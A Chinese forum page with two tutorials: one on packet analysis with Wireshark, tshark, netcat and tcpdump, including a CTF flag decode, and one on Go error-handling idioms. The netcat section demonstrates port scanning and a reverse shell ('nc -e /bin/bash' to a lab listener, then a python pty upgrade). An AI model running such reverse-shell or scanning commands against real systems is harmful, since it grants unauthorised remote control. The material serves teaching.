数据包分析基础

peanut 发表了文章 0 个评论 19 次浏览 5 天前 来自相关话题

以太网网卡混杂模式和非混杂模式: 混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收 非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包 在数据包的 ...查看全部

以太网网卡混杂模式和非混杂模式:


混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收


非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包


在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能:


统计-捕获文件属性

DemgVs.png


在属性里看到数据包的一些基本属性,如:大小,长度,时间


这里关于时间需要注意,这里显示的第一个分组时间并不一定是这个时间发送的,可能是之前就已经发送了,所以这里的第一个分组的时间和最后的分组时间是我们抓包的开始和结束,并不是这个数据包发送的开始和结束


统计-已解析的地址

这个功能会将数据包中的host和port进行整理展示,如下图所示:


DeuA0J.png


DeuE79.png


统计-协议分级

Deumfx.png


这个可以让非常清楚的看到各个协议在整个数据包中占用的比例,这样对于分析数据包是非常有帮助的。如上图中,整个数据包主要是TCP的数据包,在TCP下面可以看到主要是HTTP


过滤器

wireshark 统计中的协议分级是非常重要的,可以很清楚的看到这次捕获的数据主要是什么类型的。


常用的过滤方法:


ip.src == 127.0.0.1 and tcp.port == 8080

ip.src_host == 192.168.100.108

ip.src == 192.168.199.228 and ip.dst eq 192.168.199.228

如果没有指明协议,默认抓取所有协议数据


如果没有指明来源或目的地址,默认使用src or dst


逻辑运算:not and or


not具有最高优先级,or 和 and 具有相同的优先级,运算时从左到右进行


一些简单的例子:


显示目的UDP端口53的数据包:udp.port==53

显示来源ip地址为192.168.1.1的数据包:ip.src_host == 192.168.1.1

显示目的或来源ip地址为192.168.1.1的数据包:ip.addr == 192.168.1.1

显示源为TCP或UDP,并且端口返回在2000-5000范围内的数据包:tcp.srcport > 2000 and tcp.srcport < 5000

显示除了icmp以外的包:not icmp

显示来源IP地址为172.17.12.1 但目的地址不是192.168.2.0/24的数据包:ip.src_host == 172.17.12.1 and not ip.dst_host == 192.168.2.0/24

过滤http的get请求: http.request.method == "GET"
显示SNMP或DNS或ICMP的数据包: snmp || dns || icmp

显示来源或目的IP地址为10.1.1.1的数据包:ip.addr == 10.1.1.1

显示来源不为10.1.2.3 或者目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 or ip.dst != 10.4.5.6

显示来源不为10.1.2.3 并且目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 and ip.dst != 10.4.5.6

显示来源或目的UDP端口号为4569的数据包: udp.port == 4569

显示目的TCP端口号为25的数据包: tcp.dstport == 25

显示带有TCP标志的数据包:tcp.flats

显示带有TCP SYN标志的数据包: tcp.flags.syn == 0x02

Follow TCP Stream

在抓取和分析基于TCP协议的包,从应从角度查看TCP流的内容,在很多时候都是非常有用的。


D1wOXt.png


通过Follow TCP Stream 可以很容易对tcp对数据进行追踪,同时利用文件导出功能可以很容易看到这段数据中的异常


tshark

tshark 可以帮助我们很容易的对抓包中的一些数据进行整合处理,例如如果我们发现tcp数据包中的urg 紧急指针位有问题,存在异常流量,如果想要快速把数据进行解析,这个时候tshark就是一个很好的工具


tshark -r aaa.pcap -T fileds -e tcp.urgent_pointer | egrep  -vi "^0$" | tr '\n' ','

将过去的数据通过python程序就可以很容易取出


root@kali:~# python3
Python 3.7.4 (default, Jul 11 2019, 10:43:21)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [67,84,70,123,65,110,100,95,89,111,117,95,84,104,111,117,103,104,115,95,73,116,95,87,97]
>>> print("".join([chr(x) for x in a]))
CTF{And_You_Thoughs_It_Wa
>>>

NC

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,


netcat所做的就是在两台电脑之间建立链接并返回两个数据流。


root@kali:~# nc -h
[v1.10-41.1]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
root@kali:~#

下面是关于nc常用功能的整理


端口扫描

root@kali:~# nc -z -v -n 192.168.1.109 20-100
(UNKNOWN) [192.168.1.109] 22 (ssh) open
root@kali:~# nc -v 192.168.1.109 22
192.168.1.109: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.109] 22 (ssh) open
SSH-2.0-OpenSSH_6.6.1

Protocol mismatch.
root@kali:~#

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.


一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。


Chat Server

nc 也可以实现类似聊天的共能


在server端执行监听:


[root@localhost ~]# nc -l 9999
i am client
i am server
hahahahah

在客户端执行如下:


root@kali:~# nc 192.168.1.109 9999
i am client
i am server
hahahahah

简单反弹shell

在服务端执行:


[root@localhost ~]# nc -vvl 9999
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.104.
Ncat: Connection from 192.168.1.104:49804.
ls
a.txt
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
python -c 'import pty;pty.spawn("/bin/bash")'
root@kali:~# ls
ls
a.txt Documents Music Public Videos
Desktop Downloads Pictures Templates
root@kali:~#

客户端执行:


root@kali:~# nc -e /bin/bash 192.168.1.109 9999

这样我们在服务端就得到了客户端的shell权限


同时为了获得交互式的shell,可以通过python简单实现:


python -c 'import pty;pty.spawn("/bin/bash")'


文件传输

nc也可以实现文件传输的功能


在服务端:


[root@localhost ~]# nc -l 9999 < hello.txt 
[root@localhost ~]#

在客户端通过nc进行接收


root@kali:~# nc -n 192.168.1.109 9999 > test.txt
root@kali:~# cat test.txt
hello world
root@kali:~#

加密发送的数据

nc 是默认不对数据加密的,如果想要对nc发送的数据加密


在服务端:


nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

客户端:


mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。


以上两个命令会提示需要密码,确保两端使用相同的密码。


这里是使用mcrypt用来加密,使用其它任意加密工具都可以。


TCPDUMP

tcpdump 是linux上非常好用的抓包工具,并且数据可以通过wireshark 分析工具进行分析


tcpdump -D 可以查看网卡列表


root@kali:~# tcpdump -D
1.eth0 [Up, Running]
2.lo [Up, Running, Loopback]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.nflog (Linux netfilter log (NFLOG) interface) [none]
5.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
6.bluetooth0 (Bluetooth adapter number 0) [none]
root@kali:~#

-c : 指定要抓包的数量


-i interface: 指定tcpdump需要监听的端口,默认会抓取第一个网络接口


-n : 对地址以数字方式显示,否则显示为主机名


-nn: 除了-n的作用外,还把端口显示未数值,否则显示端口服务名


-w: 指定抓包输出到的文件


例如:


抓取到本机22端口包:tcpdump -c 10 -nn -i ens33 tcp dst port 22

Go进阶笔记-关于error

peanut 发表了文章 0 个评论 17 次浏览 1 天前 来自相关话题

很多人对于Go的error比较吐槽,说代码中总是会有大量的如下代码: if err != nil { ... } 其实很多时候是使用的姿 ...查看全部

很多人对于Go的error比较吐槽,说代码中总是会有大量的如下代码:


if err != nil {
...
}

其实很多时候是使用的姿势不对,或者说,对于error的用法没有完全理解,这里整理一下关于Go中的error 。


关于源码中的error

先看一下go源码中go/src/builtin/builtin.go对于error的定义:


// The error built-in interface type is the conventional interface for
// representing an error condition, with the nil value representing no error.
type error interface {
Error() string
}

我们使用的时候经常会通过errors.New() 来返回一个error对象,这里可以看一下我们调用errors.New()的这段源码文件go/src/errors/errors.go,可以看到errorString实现了error解接口,而errors.New()其实返回的是一个 &errorString{text} 即errorString对象的指针。


package errors

// New returns an error that formats as the given text.
// Each call to New returns a distinct error value even if the text is identical.
func New(text string) error {
return &errorString{text}
}

// errorString is a trivial implementation of error.
type errorString struct {
s string
}

func (e *errorString) Error() string {
return e.s
}

如果之前看过一些优秀源码或者go源码的,会发现代码中通常会定义很多自定义的error,并且都是包级别的变量,即变量名首字母大写:


// https://golang.org/pkg/bufio


var (
ErrInvalidUnreadByte = errors.New("bufio: invalid use of UnreadByte")
ErrInvalidUnreadRune = errors.New("bufio: invalid use of UnreadRune")
ErrBufferFull = errors.New("bufio: buffer full")
ErrNegativeCount = errors.New("bufio: negative count")
)

注意:自己之后在代码中关于这种自定义错误的定义,也要参照这种格式规范定义。
“当前的包名:错误信息”


package main

import (
"errors"
"fmt"
)

type errorString string

// 实现 error 接口
func (e errorString) Error() string {
return string(e)
}

func New(text string) error {
return errorString(text)
}

var errNamedType = New("EOF")
var ErrStructType = errors.New("EOF")

func main() {
// 这里其实就是两个结构体值的比较
if errNamedType == New("EOF") {
fmt.Println("Named Type Error") // 这行打印会输出
}
// 标准库中errors.New() 返回的是一个地址,每次调用都会返回一个新的内存地址
// 标准库这样设计也是为了避免碰巧如果两个结构体值相同了,而引发一些不期望的问题
if ErrStructType == errors.New("EOF") {
fmt.Println("Struct Type Error") // 这行打印不会输出
}
}

关于结构体值的比较:


如果两个结构体值的类型均为可比较类型,则它们仅在它们的类型相同或者它们的底层类型相同(要考虑字段标签)并且其中至少有一个结构体值的类型为非定义类型时才可以互相比较。


如果两个结构体值可以相互比较,则它们的比较结果等同于逐个比较它们的相应字段。



注意:关于Go中函数支持多参数返回,如果函数有error的通常把返回值的最后一个参数作为error



如果一个函数返回(value, error)这个时候必须先判定error
Go中的panic 意味着程序挂了不能继续运行了,不能假设调用者来解决panic。

对于刚学习go的时候经常用如下代码开启一个goroutine执行任务:


go func() {
...
}

这种情况也叫野生goroutine,并且这个时候recover是不能解决的。


可以定义一个包,通过调用该包中的Go() 方法来开goroutine,来避免野生goroutine。


package sync

func Go(x func()) {

if err := recover(); err != nil {
....
}
go x()
}

关于代码的panic 通常在代码中是很少使用的,只有在极少情况下,我们需要panic,如我们项目的初始化地方连接数据库连接不上,并且这个时候,数据库是我们程序的强依赖,那么这个时候是可以panic。


下面通过一个例子来演示error的使用姿势:


package main

import (
"errors"
"fmt"
)

// 判断正负数
func Positivie(n int) (bool, error) {
if n == 0 {
return false, errors.New("undefined")
}
return true, nil
}

func Check(n int) {
pos, err := Positivie(n)
if err != nil {
fmt.Println(n, err)
return
}
if pos {
fmt.Println(n, "is positive")
} else {
fmt.Println(n, "is negative")
}
}

func main() {
Check(1)
Check(0)
Check(-1)
}

上面是一种非常正确的姿势,我们通过返回(value, error) 这种方式来解决,也是非常go 的一种写法,只有err!=nil 的时候我们的value才有意义


那么在实际中可能有很多各种姿势来解决上述的问题,如下:


package main

import "fmt"

func Positive(n int) *bool {
if n == 0 {
return nil
}
r := n > -1
return &r
}

func Check(n int) {
pos := Positive(n)
if pos == nil {
fmt.Println(n, "is neither")
return
}
if *pos {
fmt.Println(n, "is positive")
} else {
fmt.Println(n, "is negative")
}
}

func main() {
Check(1)
Check(0)
Check(-1)
}

另外一种姿势:


package main

import "fmt"

func Positive(n int) bool {
if n == 0 {
panic("undefined")
}
return n > -1
}

func Check(n int) {
defer func() {
if recover() != nil {
fmt.Println("is neither")
}
}()

if Positive(n) {
fmt.Println(n, "is positive")
} else {
fmt.Println(n, "is negative")
}
}

func main() {
Check(1)
Check(0)
Check(-1)
}

上面这两种姿势虽然也可以实现这个功能,但是非常的不好,也不推荐使用。在代码中尽可能还是使用(value, error) 这种返回值来解决error的情况。


对于真正意外的情况,那些不可恢复的程序错误,例如索引越界,不可恢复的环境问题,栈溢出等才会使用panic,对于其他的情况我们应该还是期望使用error来进行判定。


error 处理套路

Sentinel Error 预定义error

通常我们把代码包中如下的这种error叫预定义error.


// https://golang.org/pkg/bufio


var (
ErrInvalidUnreadByte = errors.New("bufio: invalid use of UnreadByte")
ErrInvalidUnreadRune = errors.New("bufio: invalid use of UnreadRune")
ErrBufferFull = errors.New("bufio: buffer full")
ErrNegativeCount = errors.New("bufio: negative count")
)

这种姿势的缺点:


  • 对于这种错误,在实际中的使用中我们通常会使用 if err == ErrSomething {....} 这种姿势来进行判断。但是也不得不说,这种姿势是最不灵活的错误处理策略,并且不能对于错误提供有用的上下文。


  • Sentinel errors 成为API的公共部分。如果你的公共函数或方法返回一个特定值的错误,那么该错误就必须是公共的,当然要有文档记录,这最终会增加API的表面积。


  • Sentinel errors 在两个包之间创建了依赖。对于使用者不得不导入这些错误,这样就在两个包之间建立了依赖关系,当项目中有许多类似的导出错误值时,存在耦合,项目中的其他包必须导入这些错误值才能检查特定的错误条件。


Error types

Error type 是实现了error接口的自定义类型,例如MyError类型记录了文件和行号以展示发生了什么


type MyError struct {
Msg string
File string
Line int
}

func (e *MyError) Error() string {
return fmt.Sprintf("%s:%d:%s", e.File,e.Line, e.Msg)
}

func test() error {
return &MyError("something happened", "server.go", 11)
}

func main() {
err := test()
switch err := err.(type){
case nil:
// ....
case *MyError:
fmt.Println("error occurred on line:", err.Line)
default:
// ....
}
}

这种方式其实在标准库中也有使用如os.PathError


// https://golang.org/pkg/os/#PathError

type PathError struct {
Op string
Path string
Err error
}

调用者要使用类型断言和类型switch,就要让自定义的error变成public,这种模型会导致和调用者产生强耦合,从而导致API变得脆弱。


Opaque errors

这种方式也称为不透明处理,这也是相对来说比较优雅的处理方式,如下


func fn() error {

x, err := bar.Foo()
if err != nil {
return err
}
// use x
}

这种不透明的实现方式,一种比较好的用法,这里以net库的代码来看:


// https://golang.org/pkg/net/#Error

type Error interface {
error
Timeout() bool // Is the error a timeout?
Temporary() bool // Is the error temporary?
}

这里是定义了一个Error接口,而让其他需要用到error的来实现这个接口,如net中的下面这个错误


// https://golang.org/pkg/net/#DNSConfigError

type DNSConfigError
func (e *DNSConfigError) Error() string
func (e *DNSConfigError) Temporary() bool
func (e *DNSConfigError) Timeout() bool
func (e *DNSConfigError) Unwrap() error

按照这个方式实现我们使用net时的异常处理可能就是如下情况:


if neerr, ok := err.(net.err); ok && nerr.Temporary() {
time.Sleep(time.Second * 10)
continue
}
if err != nil {
log.Fatal(err)
}

其实这样还是不够优雅,好的方式是我们卡一定义temporary的接口,然后取实现这个接口,这样整体代码就看着非常简洁清楚,对外我们就只需要暴露IsTemporary方法即可,而不用外部再进行断言。


Type temporary interface {
Temporary() bool
}

func IsTemporary(err error) bool {
te, ok := err.(temporary)
return ok && te.Temporary()
}

以上这几种姿势,其实各有各的用处,不同的场景,选择可能也不同,需要根据实际场景实际分析。


一个error 技巧使用例子

先看一段代码,相信这段代码如果很多人实现的时候也都是这个样子:


type Header struct {
Key, Value string
}

type Status struct {
Code int
Reason string
}

func WriteResponse(w io.Writer, st Status, headers []Header, body io.Reader) error {

_, err := fmt.Fprintf(w, "HTTP/1.1 %d %s\r\n", st.Code, st.Reason)
if err != nil {
return err
}

for _, h := range headers {
_, err := fmt.Fprintf(w, "%s:%s\r\n", h.Key, h.Value)
if err != nil {
return err
}
}

if _, err := fmt.Fprint(w, "\r\n"); err != nil {
return err
}

_, err = io.Copy(w, body)
return err
}

看这段代码时候估计很多就开始吐嘈go的error的处理,感觉代码中会存在很多err的判断处理,其实这里是可以写的更优雅一点的,上面的姿势不对,来换个姿势:


type errWriter struct {
io.Writer
err error
}

func(e *errWriter) Write(buf []byte) (int, error) {
if e.err != nil {
return 0, e.err
}

var n int
n, e.err = e.Writer.Write(buf)
return n,nil
}

func WriteResponse(w io.Writer, st Status, headers []Header, body io.Reader) error {
ew :=&errWriter{Writer:w}
fmt.Fprintf(ew, "HTTP/1.1 %d %s\r\n", st.Code, st.Reason)

for _, h := range headers {
fmt.Fprintf(ew, "%s:%s\r\n", h.Key, h.Value)
}

fmt.Fprint(w, "\r\n")

io.Copy(w, body)
return ew.err
}

对比之下这种代码看起来是不是就非常简洁,所有很多时候可能是自己写代码的姿势不对,而不是go的error设计的不好。


Wrap errors

就像下面这段代码一样,这样的使用方式,我自己在工程代码中也经常看到,这样就会导致生成的错误没有file:line信息,没有导致错误的调用堆栈信息,如果出现异常就非常不方便排查到底是哪里导致的问题,其次因为这里通过fmt.Errorf对错误进行了包装,也就破坏了原始错误。


func AuthenticateReuest(r *Request) error {
err := authenticate(r.User)
if err != nil {
return fmt.Errorf("authenticate failed:%v", err)
}
return nil
}

关于error的处理中还有一个非常重要的地方就是是否是每次出现err!=nil的时候,我们都需要打印日志? 如果这样做了,你会发现到处在打印日志,还有很多地方可能打印的是相同的日志。


func WriteAll(w io.Writer, buf[]byte) error {
_, err := w.Write(buf)
if err != nil {
log.Println("unalbe to write:",err) //这里记录了日志
return err //将日志进行上抛给调用者
}
return nil
}

func WriteConfig(w io.Writer, conf *Config) error {
buf, err := json.Marshal(conf)
if err != nil {
log.Printf("cound not marshal config:%v", err)
return err
}
if err := WriteAll(w, buf); err != nil {
log.Println("cound not write config:%v",err)
return err
}
return nil
}

在上面这个例子中, 这个错误逐层返回给调用者,如果处理不好,可能就像上面这个例子,每次都打印日志,一直到程序的顶部
所以:error应该只被处理一次。
Go中错误的处理契约规定:在出现错误的情况下,不能对其他返回值的内容做任何假设,如下代码中,由于json序列化失败,buf的内容是未知的,这个时候把损坏的buf传给后续处理逻辑,这样就会导致一些未知的错误发生。

func WriteConfig(w io.Writer, conf *Config) error {
buf, err := json.Marshal(conf)
if err != nil {
log.Printf("cound not marshal config:%v", err)
// 忘记return
}
if err := WriteAll(w, buf); err != nil {
log.Println("cound not write config:%v",err)
return err
}
return nil
}

关于错误日志处理的规则:


  • 错误要被日志记录
  • 应用程序处理错误,保证100%的完整性
  • 之后不再报告当前错误

github.com/pkg/errors 这个error处理包非常受欢迎,看一下这个包对错误的处理例子:


package main

import (
"fmt"
"io/ioutil"
"os"
"path/filepath"

"github.com/pkg/errors"
)

func ReadFile(path string) ([]byte, error) {
f, err := os.Open(path)
if err != nil {
return nil, errors.Wrap(err, "open failed")
}
defer f.Close()
buf, err := ioutil.ReadAll(f)
if err != nil {
return nil, errors.Wrap(err, "read failed")
}
return buf, nil
}

func ReadConfig() ([]byte, error) {
home := os.Getenv("HOME")
config, err := ReadFile(filepath.Join(home, ".settings.xml"))
return config, errors.WithMessage(err, "cound not read config")
}

func main() {
_, err := ReadConfig()
if err != nil {
fmt.Printf("original err:%T %v\n", errors.Cause(err), errors.Cause(err))
fmt.Printf("stack trace:\n %+v\n",err) // %+v 可以在打印的时候打印完整的堆栈信息
os.Exit(1)
}
}

执行结果如下:


original err:*os.PathError open /Users/zhaofan/.settings.xml: no such file or directory
stack trace:
open /Users/zhaofan/.settings.xml: no such file or directory
open failed
main.ReadFile
/Users/zhaofan/open_source_study/test_code/202012/wrap_errors/main.go:15
main.ReadConfig
/Users/zhaofan/open_source_study/test_code/202012/wrap_errors/main.go:27
main.main
/Users/zhaofan/open_source_study/test_code/202012/wrap_errors/main.go:32
runtime.main
/Users/zhaofan/app/go/src/runtime/proc.go:204
runtime.goexit
/Users/zhaofan/app/go/src/runtime/asm_amd64.s:1374
cound not read config
exit status 1

从代码上也非常简洁,处理的非常优雅,最终不管是错误信息还是堆栈信息,还可以添加自定义的上下文,同时也完全满足上面提出的关于错误日志处理的规则。
关于代码中的Wrap源码如下:


// Wrap returns an error annotating err with a stack trace
// at the point Wrap is called, and the supplied message.
// If err is nil, Wrap returns nil.
func Wrap(err error, message string) error {
if err == nil {
return nil
}
err = &withMessage{
cause: err,
msg: message,
}
return &withStack{
err,
callers(),
}
}

可以看到我们每次调用errors.Wrap方法的时候都是把我们的错误信息err存入到withMessage结构体的cause字段,同时又把包装的withMessage 作为err存到withStack结构体中,同时withStack包含了调用堆栈的信息


type withMessage struct {
cause error
msg string
}

关于github.com/pkg/errors使用姿势

  • 你自己的应用程序中,使用errors.New或者errors.Errorf返回错误
  • 如果调用其他包内的函数或者你当前项目里的其他函数,通常简单的直接返回,即直接return err
  • 如果你使用第三方库如github库,公司的基础库,或者go的基础库,这个时候应该使用errors.Wrap或者errors.Wrapf保存堆栈信息,同时添加自定义的上下文信息
  • 直接返回错误,而不是每个错误产生的地方打日志
  • 在程序的顶部或者工作的goroutine顶部(请求入口)使用%+v把堆栈详情记录
  • 使用errors.Cause 获取root error即根因,在进行和sentinel error进行等值判定
  • 一旦错误被处理,包括你打印日志,或者降级处理等,这个时候你就不应该再向上抛出err,而应该return nil.

go1.13 中的errors

go 1.13 为errors和fmt标准库引入了新的特性,以简化处理包含其他错误的错误。其中最重要的就是:包含一个错误的error可以实现返回底层错误的Unwrap 方法。如果e1.Unwrap() 返回e2, 那么e1就包装了e2,就可以展开e1以获取e2


在Go的1.13 中fmt.Errorf支持新的%w ,这样就在错误信息中带入原始的信息,这样既保证了人阅读的方便,也方便了机器处理,如:


if err != nil {
return fmt.Errorf("access denied %w", ErrrPermission)
}

把之前的例子进行调整如下:


package main

import (
"fmt"
"io/ioutil"
"os"
"path/filepath"

"errors"
)


func ReadFile(path string) ([]byte, error) {
f, err := os.Open(path)
if err != nil {
return nil, fmt.Errorf("open failed: %w", err)
}

defer f.Close()
buf, err := ioutil.ReadAll(f)
if err != nil {
return nil, fmt.Errorf("read failed: %w", err)
}
return buf, nil
}


func ReadConfig() ([]byte, error) {
home := os.Getenv("HOME")
config, err := ReadFile(filepath.Join(home, ".settings.xml"))
return config, fmt.Errorf("cound not read config: %w", err)
}

func main() {
_, err := ReadConfig()
if err != nil {
// errors.Is会一层一层的展开,找最内层的err
fmt.Println(errors.Is(err, os.ErrNotExist))
os.Exit(1)
}
}

但是1.13的errors有个非常大的问题就是不支持携带堆栈信息,所以最好的办法就是把标准库中的errorsgithub.com/pkg/errors


package main

import (
"errors"
"fmt"

xerrors "github.com/pkg/errors"
)

var errMy = errors.New("My Error")

func test0() error {
return xerrors.Wrapf(errMy, "test0 failed")
}

func test1() error {
return test0()
}

func test2() error {
return test1()
}

func main() {
err := test2()
fmt.Printf("main: %+v\n", err)
fmt.Println(errors.Is(err, errMy))
}

其实原则就是我们底层的错误还是通过 github.com/pkg/errorsWrapf 进行包装。并且这个时候也完全兼容标准库中的errors,可以使用errors.Iserrors.As方法做判断处理。

更多话题 >>

热门话题

更多用户 >>

热门用户

空心菜

148 个问题, 106 次赞同

peanut

6 个问题, 3 次赞同